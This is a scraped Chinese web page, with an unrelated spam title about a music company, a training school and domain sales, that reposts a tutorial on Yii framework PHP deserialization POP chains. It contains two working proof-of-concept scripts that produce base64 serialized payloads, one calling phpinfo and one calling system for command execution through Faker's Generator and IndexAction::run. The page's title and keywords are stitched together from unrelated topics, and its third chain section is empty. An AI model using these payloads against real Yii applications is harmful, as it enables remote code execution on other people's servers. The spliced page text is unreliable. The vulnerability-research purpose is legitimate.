您的位置:首页 > 财经 > 产业 > 东莞音乐制作公司_郑州黑马程序员培训机构官网_外贸建站与推广如何做_域名交易域名出售

东莞音乐制作公司_郑州黑马程序员培训机构官网_外贸建站与推广如何做_域名交易域名出售

2024/11/16 12:22:47 来源:https://blog.csdn.net/m0_74402888/article/details/143757044  浏览:    关键词:东莞音乐制作公司_郑州黑马程序员培训机构官网_外贸建站与推广如何做_域名交易域名出售
东莞音乐制作公司_郑州黑马程序员培训机构官网_外贸建站与推广如何做_域名交易域名出售

一、pop1链的跟踪

1、路由关系

2、漏洞触发口unserialize(base64_decode($data));

2、__destruct(),魔术法方法调用close函数方法

3、未找到利用链,尝试__call魔术方法

4、逆推找call_user_func

函数

第一部分
namespace yii\db;
class BatchQueryResult
__destruct()
$this->reset();
$this->_dataReader->close();
_dataReader=new FnStream();
第二部分
return call_user_func($this->_fn_close);
$_fn_close="phpinfo"
Poc链
<?php
//链子逆向这写
namespace GuzzleHttp\Psr7{class FnStream{var $_fn_close = "phpinfo";}
}namespace yii\db{use GuzzleHttp\Psr7\FnStream;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new FnStream();}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

5、动态调试

二、pop2链利用分析

1、跟踪call魔术方法到format

format

call_user_func_array($this->getFormatter($formatter), $arguments);

第一个参数可控

2、调用run方法

$this->checkAccess, $this->id,控制这两个参数

第一部分

namespace yii\db;

class BatchQueryResult

__destruct()

$this->reset();

$this->_dataReader->close();

第二部分

__call()

$this->format($method, $attributes)

return call_user_func_array($this->getFormatter($formatter), $arguments);

第三部分

call_user_func()函数方法找到run

Poc:
<?php
//链子逆向这写
namespace yii\rest{//对参数checkAccess,id控制rceclass IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'system';$this->id = 'calc';          //命令执行}}
}
namespace Faker{use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){//最核心的地方$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}

三、pop3利用链

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com